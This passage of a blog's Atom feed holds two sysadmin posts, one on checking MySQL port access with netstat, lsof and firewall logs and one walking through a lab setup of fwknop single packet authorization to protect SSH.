href='http://www.blogger.com/feeds/6632919853030459558/posts/default/1497709132285637125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/1497709132285637125'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2009/06/server-compromised-finding-intruder.html' title='server compromised - finding the intruder'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-8205362525842869478</id><published>2008-12-08T01:40:00.000-08:00</published><updated>2008-12-08T02:07:49.256-08:00</updated><title type='text'>simple command for troubleshoot the network applications</title><content type='html'>most of time i do troubleshooting on the network application, these are few command i will use it with log as well.&lt;br /&gt;&lt;br /&gt;1st, netstat&lt;br /&gt;2nd, lsof&lt;br /&gt;&lt;br /&gt;From server itself, you can use the below command&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1st, netstat&lt;/span&gt;&lt;br /&gt;[root@www errs]# netstat -an|grep 3306&lt;br /&gt;tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN&lt;br /&gt;&lt;br /&gt;note: see the port is opening :P&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2nd, lsof&lt;/span&gt;&lt;br /&gt;[root@www errs]# lsof -i tcp:3306&lt;br /&gt;COMMAND  PID  USER   FD   TYPE DEVICE SIZE NODE NAME&lt;br /&gt;mysqld  7472 mysql   10u  IPv4  12294       TCP *:mysql (LISTEN)&lt;br /&gt;&lt;br /&gt;see, you can see those port 3306 is used by service, mysqld&lt;br /&gt;and its PID is 7472&lt;br /&gt;then is USER is mysql and etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;especially lsof, it will tell you which application are bonded with the particular port.&lt;br /&gt;explore lsof more :P you will get more with this command&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;from client you can try by localhost see whether the firewall is block it or not :P&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;C:\Documents and Settings\a13x&gt;telnet www.aviocall.com 3306&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Connecting To www.aviocall.com...Could not open connection to the host, on port&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3306: Connect failed&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;see, it is failed to connect. i believe is my firewall block it.&lt;br /&gt;&lt;br /&gt;Let see the log form server.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Dec  8 17:56:11 www kernel: Shorewall:net2all:DROP:IN=eth0 OUT= MAC=00:1e:68:9a:f6:19:00:13:7f:c4:47:1a:08:00 SRC=118.100.42.9 DST=203.114.11.102 LEN=48 TOS=0x00 PREC=0x00 TTL=113 ID=40540 DF PROTO=TCP SPT=50960 DPT=3306 WINDOW=65535 RES=0x00 SYN URGP=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Dec  8 17:56:15 www psad: scan detected: 118.100.42.9 -&gt; 203.114.11.102 tcp: [3306] flags: SYN tcp pkts: 1 DL: 1&lt;/span&gt;&lt;br /&gt;see the log, the destination port is 3306 :P&lt;br /&gt;that mean my firewall block it :P&lt;br /&gt;&lt;br /&gt;so, the conclusion is mysql port 3306 only accessible by localhost or certain IP addresses :P&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;that's all for this part. Once you know what is the root cause, then only you can perform the troubleshooting. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;another way , use sniffer like wireshark or tcpdump to troubleshoot it :P&lt;br /&gt;you can get more :P but i dont plan to teach as im not really good in wireshark and this is dangerous tools for people who have evil mindset :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-8205362525842869478?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/8205362525842869478/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=8205362525842869478' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/8205362525842869478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/8205362525842869478'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2008/12/simple-command-for-troubleshoot-network.html' title='simple command for troubleshoot the network applications'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-1155726993930541313</id><published>2008-11-22T11:44:00.000-08:00</published><updated>2008-11-22T12:20:27.078-08:00</updated><title type='text'>fwknopd - Firewall Knock Operator aka SPA, Single Packet Authentication</title><content type='html'>fwknop is a tool used with the iptable to provide the single packet authentication. &lt;p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;I know the fwknop since i brought the bok Linux Firewalls by Michael Rash. He is the guy who created the fwknop, PSAD, fwsnort and etc security tools.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;fwknop is a tool use to add the SSH service with specific IP into the iptables' rule and it is just available for  30 seconds to connect to server. Once time exceed, it will remove the rule from iptables, so that no one can connect to server.&lt;br /&gt;&lt;br /&gt;For more information , please read the book Linux Firewalls and official website from Michael Rash  http://www.cipherdyne.org/fwknop/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;Now I have 2 boxes,&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;Node1 = 192.168.145.41  ( also known as server )&lt;br /&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;Node2 = 192.168.145.42  ( also known as client )&lt;br /&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;Node1 has been setup with firewall block the port 22&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;At, node2, now we do ssh to node1&lt;/p&gt;    &lt;p class="MsoNormal"&gt;1st, i scan the node1&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;[root@node2 ~]# nmap -P0 192.168.145.41&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-11-23 11:56 MYT&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;Interesting ports on node1 (192.168.145.41):&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;Not shown: 1677 filtered ports&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;PORT     STATE  SERVICE&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;80/tcp   open   http&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;113/tcp  closed auth&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;8080/tcp closed http-proxy&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;MAC Address: 00:0C:29:5E:8B:28 (VMware)&lt;/span&gt;  &lt;span style="font-weight: normal;"&gt;Nmap finished: 1 IP address (1 host up) scanned in 22.151 seconds&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;2nd, i do ssh to node1&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;[root@node2 ~]# ssh 192.168.145.41&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;It has no return result. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;At node1, let see the log &lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;Nov 23 09:04:18 node1 kernel: Shorewall:net2all:DROP:IN=eth0 OUT= MAC=00:0c:29:5e:8b:28:00:0c:29:23:90:aa:08:00 SRC=192.168.145.42 DST=192.168.145.41 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=32176 DF PROTO=TCP SPT=44194 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0&lt;/p&gt;    &lt;p class="MsoNormal"&gt;See, my firewall has blocked out the 192.168.145.42. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;Node1 :&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[root@node1 fwknop]# vi /etc/fwknop/fwknop.conf&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;EMAIL_ADDRESSES&lt;span style=""&gt;             &lt;/span&gt;chenghui81@gmail.com;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;[root@node1 fwknop]# vi /etc/fwknop/access.conf&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;SOURCE: ANY;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;OPEN_PORTS: tcp/22;&lt;span style=""&gt;   &lt;/span&gt;### for ssh (change for access to other services)&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;KEY: a13xch0ng;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;FW_ACCESS_TIMEOUT: 30;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;o:p&gt;start the fwknop service&lt;br /&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-weight: normal;"&gt;[root@node1 fwknop]# /etc/init.d/fwknop start&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Starting the fwknop daemons:&lt;span style=""&gt;                               &lt;/span&gt;[&lt;span style=""&gt;  &lt;/span&gt;OK&lt;span style=""&gt;  &lt;/span&gt;]&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;tail the log&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;[root@node1 fwknop]# tail -f /var/log/messages&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 10:03:29 node1 init: Trying to re-exec init&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:33:28 node1 fwknopd: starting fwknopd v1.9.9 (file revision: 1353)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:33:28 node1 fwknopd: flushing existing iptables fwknop chains&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:33:29 node1 fwknopd: imported access directives (1 SOURCE definitions).&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:33:29 node1 fwknopd: imported previous tracking digests from disk cache: /var/log/fwknop/digest.cache&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:33:29 node1 kernel: device eth0 entered promiscuous mode&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;(see the service started with the promiscuous mode, that mean it is sniffing the packet thru interface eth0.&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;you will see such message when you running sniffer )&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold;"&gt;Node2, now we do the Single Packet Authentication by using fwknop client&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[root@node2 ~]# fwknop -A tcp/22 -a 192.168.145.42 -k 192.168.145.41&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;span style="font-weight: bold;"&gt;( note:: tcp/22 is refer to the port you wanted to connect, -a is refer to your source IP, -k is refer to your destination IP )&lt;br /&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[+] Starting fwknop client (SPA mode)...&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[+] Enter an encryption key. This key must match a key in the file&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;    &lt;/span&gt;/etc/fwknop/access.conf on the remote system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Encryption Key:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;o:p&gt;(it is asking the encryption key, the key is referring to the key you setup in the server side )&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;[+] Building encrypted Single Packet Authorization (SPA) message...&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[+] Packet fields:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;        &lt;/span&gt;Random data:&lt;span style=""&gt;    &lt;/span&gt;2421962114322037&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;        &lt;/span&gt;Username:&lt;span style=""&gt;       &lt;/span&gt;root&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;        &lt;/span&gt;Timestamp:&lt;span style=""&gt;      &lt;/span&gt;1227411567&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;        &lt;/span&gt;Version:&lt;span style=""&gt;        &lt;/span&gt;1.9.9&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;        &lt;/span&gt;Type:&lt;span style=""&gt;           &lt;/span&gt;1 (access mode)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;Access:&lt;span style=""&gt;         &lt;/span&gt;192.168.145.42,tcp/22&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;        &lt;/span&gt;SHA256 digest:&lt;span style=""&gt;  &lt;/span&gt;uBZSsbkeoAH/pA44IHxLGvHt3rC8F513ry4XCVKimkU&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[+] Sending 182 byte message to 192.168.145.41 over udp/62201...&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;span style="font-weight: bold;"&gt;Once you see such message that mean you are successfully initiated the connection. &lt;/span&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;Node1: from the /var/log/messages &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:39:45 node1 kernel: Shorewall:net2all:DROP:IN=eth0 OUT= MAC=00:0c:29:5e:8b:28:00:0c:29:23:90:aa:08:00 SRC=192.168.145.42 DST=192.168.145.41 LEN=210 TOS=0x00 PREC=0x00 TTL=64 ID=43837 DF PROTO=UDP SPT=64210 DPT=62201 LEN=190&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:39:45 node1 fwknopd: received valid Rijndael encrypted packet from: 192.168.145.42, remote user: root, client version: 1.9.9 (SOURCE line num: 26)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:39:45 node1 fwknopd: add FWKNOP_INPUT 192.168.145.42 -&gt; 0.0.0.0/0(tcp/22) ACCEPT rule 30 sec&lt;/p&gt; &lt;span style="font-weight: bold;"&gt;(note : see the last line that has added our IP to the iptables in order to let us connect the SSH in 30 seconds)&lt;/span&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;o:p&gt;&lt;/o:p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;Node2 : I login the node1 asap&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;[root@node2 ~]# ssh 192.168.145.41 -l root&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The authenticity of host '192.168.145.41 (192.168.145.41)' can't be established.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;RSA key fingerprint is be:73:8b:27:48:96:ce:f5:16:7c:c5:0d:81:99:c7:3d.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Warning: Permanently added '192.168.145.41' (RSA) to the list of known hosts.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Address 192.168.145.41 maps to node1, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT!&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;root@192.168.145.41's password:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Last login: Sun Nov 23 07:04:39 2008 from 192.168.145.1&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;o:p&gt;( note: yes, we connected to the server thru ssh )&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;See the cool things from node1 , /var/log/messages&lt;br /&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:40:56 node1 fwknopd: add FWKNOP_INPUT 192.168.145.42 -&gt; 0.0.0.0/0(tcp/22) ACCEPT rule 30 sec&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nov 23 11:41:28 node1 fwknop(knoptm): removed iptables FWKNOP_INPUT ACCEPT rule for 192.168.145.42 -&gt; 0.0.0.0/0(tcp/22), 30 sec timeout exceeded&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;See the last 2nd line that told you the iptables has added the new rules to allow IP 192.168.145.42 (aka node2) to login thru port 22 within 30 sec&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;" class="MsoNormal"&gt;See the last line that told you the iptables has removed the rules from the iptables which is ip192.168.145.32 port 22 after 30 seconds&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;Yet, my email, please take a look : -&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i71.photobucket.com/albums/i158/anakin81/security/email.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 800px; height: 331px;" src="http://i71.photobucket.com/albums/i158/anakin81/security/email.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 11"&gt;&lt;meta name="Originator" content="Microsoft Word 11"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5Ca13x%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:宋体; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-alt:SimSun; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 135135232 16 0 262145 0;} @font-face 	{font-family:"\@宋体"; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 135135232 16 0 262145 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:宋体;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;see that 2 unread emails, one is telling you the IP has been added into the iptables and another is telling you the time is exceed and the rule has been removed from iptables&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;fwknop is designed used to prevent the 0 day exploit..&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;cause once they scan your server, there is no ssh port opening :P&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;so, no way they can access into your server thru ssh.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style=""&gt;&lt;/span&gt; &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;cool is it??&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;quickly implement into your server to make another security layer for ssh.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-1155726993930541313?l=littleunixadmin.blogspot.com' alt='' 